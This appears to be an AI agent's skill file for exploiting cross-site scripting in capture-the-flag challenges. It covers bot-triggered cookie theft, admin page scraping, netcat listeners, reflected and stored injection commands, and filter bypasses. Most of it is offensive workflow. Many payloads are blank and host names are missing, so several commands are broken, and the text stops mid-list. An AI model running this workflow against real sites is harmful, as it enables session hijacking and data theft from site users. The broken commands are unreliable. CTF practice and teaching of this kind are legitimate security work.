--- name: xss description: "Cross-Site Scripting (XSS) — reflected, stored, DOM-based XSS exploitation. Covers filter bypass, CSP evasion, bot-triggered cookie exfiltration, admin page scraping, and headless browser flag extraction. Use for any challenge involving client-side JavaScript injection, Cross payloads, cookie theft, or browser-based exploitation." allowed-tools: Bash Read Write metadata: subdomain: execution when_to_use: "xss, cross-site scripting, reflected xss, stored xss, dom xss, javascript injection, cookie steal, script injection, Cross, cross site, alert, onerror, onload, img src, svg onload, bot visit, report url, admin cookie, session hijack, csp bypass, html injection" tags: web-application, xss, injection, client-side, cross-site-scripting mitre_attack: T1189, T1059.007 --- # Cross-Site Scripting (XSS) Exploitation Exploits insufficient input/output sanitization to execute JavaScript in a victim's browser context. ## Win Condition — Identify FIRST **Pattern A — Bot/Cookie Chain** (classic CTF): - A headless browser bot visits a URL you supply via `/report` or `/contact` - Goal: exfiltrate `document.cookie` or admin page content to your listener - Signals: `/report` endpoint exists, challenge mentions "admin visits", cookie in session **Pattern B — Server-Side Alert Trigger** (Cross 30/31/32 series): - NO bot, NO cookie exfiltration, NO `/report` endpoint (returns 404) - The challenge evaluates reflected JS server-side; `alert("XSS")` or `alert(1)` in the response = flag - Flag appears directly in the HTTP response body when alert triggers - Signals: challenge name contains "Cross", filter says "Sorry, you can't use that tag", `new_umbrella` / `error_umbrella` in response, alphanumeric filter active - Do NOT: start listeners, look for /report, try document.cookie (setter is frozen — TypeError) **Quick check which pattern:** ```bash curl -s "$TARGET/report" -o /dev/null -w "%{http_code}" # 404 = Pattern B (Cross) curl -s "$TARGET/" | grep -i "report\|bot\|admin" # Pattern A signals ``` ## Detection ```bash # Reflected XSS probe — check if input is reflected unescaped curl -s 'http:///search?q=' | grep -i '&password=test' ``` ## Stored XSS with Bot Exfiltration (CTF Pattern) The standard CTF XSS workflow: 1. Find a stored input (comments, profiles, messages) 2. Inject a payload that exfiltrates data when the admin bot views it 3. Trigger the bot (usually a `/report` endpoint) 4. Receive exfiltrated flag on your listener ```bash # 1. Start a listener to receive exfiltrated data python3 -m http.server 8888 & # Or use netcat: nc -lvnp 8888 & # 2. Inject stored XSS that exfiltrates cookies # Basic cookie steal curl -s 'http:///comment' -d 'body=' # Image tag (bypasses many filters that block ' # Fetch sensitive endpoint directly (adjust path to observed app structure) curl -s 'http:///comment' -d 'body=' # 3. Trigger the bot to visit the page with injected XSS curl -s 'http:///report' -d 'url=http:///page-with-stored-xss' curl -s 'http:///report' -d 'url=/page-with-stored-xss' # 4. Check listener output — decode base64 if used echo '' | base64 -d ``` ## Reflected XSS Flag Extraction ```bash # If the flag is in the admin's cookie and there's a report/visit endpoint: # Craft URL with reflected XSS that steals cookies PAYLOAD='' ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))") curl -s "http:///report" -d "url=http:///search?q=$ENCODED" ``` ## Filter Bypass Techniques ```bash # Case variation # No parentheses # No quotes / no spaces # HTML entity encoding bypass # JavaScript URL scheme click